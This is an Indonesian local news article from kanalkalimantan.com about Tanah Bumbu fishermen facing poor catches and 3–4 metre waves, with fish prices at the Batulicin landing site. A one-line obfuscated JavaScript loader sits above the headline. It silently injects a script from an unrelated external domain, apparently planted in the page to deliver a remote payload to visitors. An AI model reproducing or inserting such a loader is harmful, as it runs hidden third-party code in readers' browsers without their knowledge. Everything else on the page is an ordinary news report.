(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tangkapan Berkurang, Nelayan Tanbu Nekad Melaut saat Cuaca Tak Bersahabat


KANALKALIMANTAN.COM, BATULICIN – Meski cuaca sedang tidak bersahabat dan susah diprediksi, beberapa kapal nelayan di Kabupaten Tanah Bumbu tetap melaut mencari ikan.

Hasil tangkapan nelayan dalam beberapa pekan terakhir sangat kurang. Pengaruh cuaca ekstrem diyakini membuat hasil tangkapan nelayan tidak maksimal, mereka sebagain terpakas harus sandar dan menambatkan kapalnya.

Salah satu nelayan, pemilik Kapal Motor Nelayan (KMN) Erna 06, Syahril Kicang (49), warga Kabupaten Tanah Bumbu yang baru saja sandar membawa ikan di Pangkalan Pendaratan Ikan (PPI) Batulicin berkisah perjuangan dalam mencari nafkah.

“Alhamdulillah, walaupun cuaca di luar sana sedang tidak bersahabat, akhirnya kami bisa sandar dengan selamat membawa ikan kepelabuhan ini,” katanya dijumpai, Sabtu (5/3/2022).

 

Aktivitas nelayan membongkar ikan di PPI Batulicin. Foto: ftr

Baca juga : Jalin Silaturahmi, Plt Sekwan DPRD Kapuas Bertemu Awak Media

Nelayan tersebut melalui perjalanan sangat panjang dari Pulau Pegarungan, wilayah Provinsi Jawa Timur dan sempat berteduh di pulau-pulau lainnya saat perjalanan membawa ikan hasil tangkapan ke Kabupaten Tanah Bumbu.

“Gelombang di lautan lepas dari Pulau Pegarungan Jawa Timur menuju Tanah Bumbu setinggi 3 sampai 4 meter,” jelasnya.
“Biasanya, melalui perjalanan kami bisa lebih cepat sampai untuk membawa ikan. Tetapi berbeda kali ini, kami terlambat karena adanya pengaruh cuaca buruk,” bebernya.

Kali ini Syahrial Kicing mengaku, hanya bisa membawa ikan tongkol dan ikan lajang kurang lebih 8 ton. Cepat sandar ke PPI Batulicin karena takut ikan tangkapan rusak karena terlambat bongkar.

Untuk harga ikan tongkol di PPI ini masih lumayan bagus ketika dijual. Ikan tongkol masih di harga Rp 25 ribu sampai 26 ribu per kilogram, untuk ikan lajang Rp 20 ribu sampai 22 ribu per kilogram.

 

Aktivitas nelayan membongkar ikan di PPI Batulicin. Foto: ftr

Baca juga : Pengurus Cabor KONI-Kormi-KOK Kapuas Dikukuhkan

“Keadaan cuaca seperti ini, pelanggan bisa memaklumi keterlambatan dan perubahan harga, mengingat cuaca di luar sana sangat ekstrem. Biasa dalam keadaan cuaca normal memakan waktu dua hari dua malam perjalanan sudah sampai di Batulicin, saat ini bisa lebih dari dua hari,” bebernya.

“Semoga saja keadaan cuaca kembali tenang, kami sebagai nelayan juga tenang dalam menangkap ikan untuk menafkahi keluarga di rumah,” tutupnya. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Desy Arfianty

Recent Posts

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

3 menit ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

8 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

9 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

10 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

10 jam ago

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

22 jam ago

This website uses cookies.